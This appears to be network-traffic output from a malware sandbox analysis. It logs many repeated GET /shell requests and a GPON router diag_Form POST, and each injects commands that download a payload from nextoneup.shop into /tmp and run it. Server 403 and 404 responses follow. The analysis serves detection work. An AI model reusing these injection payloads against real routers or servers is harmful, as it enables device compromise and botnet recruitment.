Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: unknown

DNS traffic detected: queries for: rsx.nextoneup.shop

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 01:59:55 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 01:59:56 GMTServer: ApacheContent-Length: 207Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 01:59:57 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 01:59:59 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:14 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
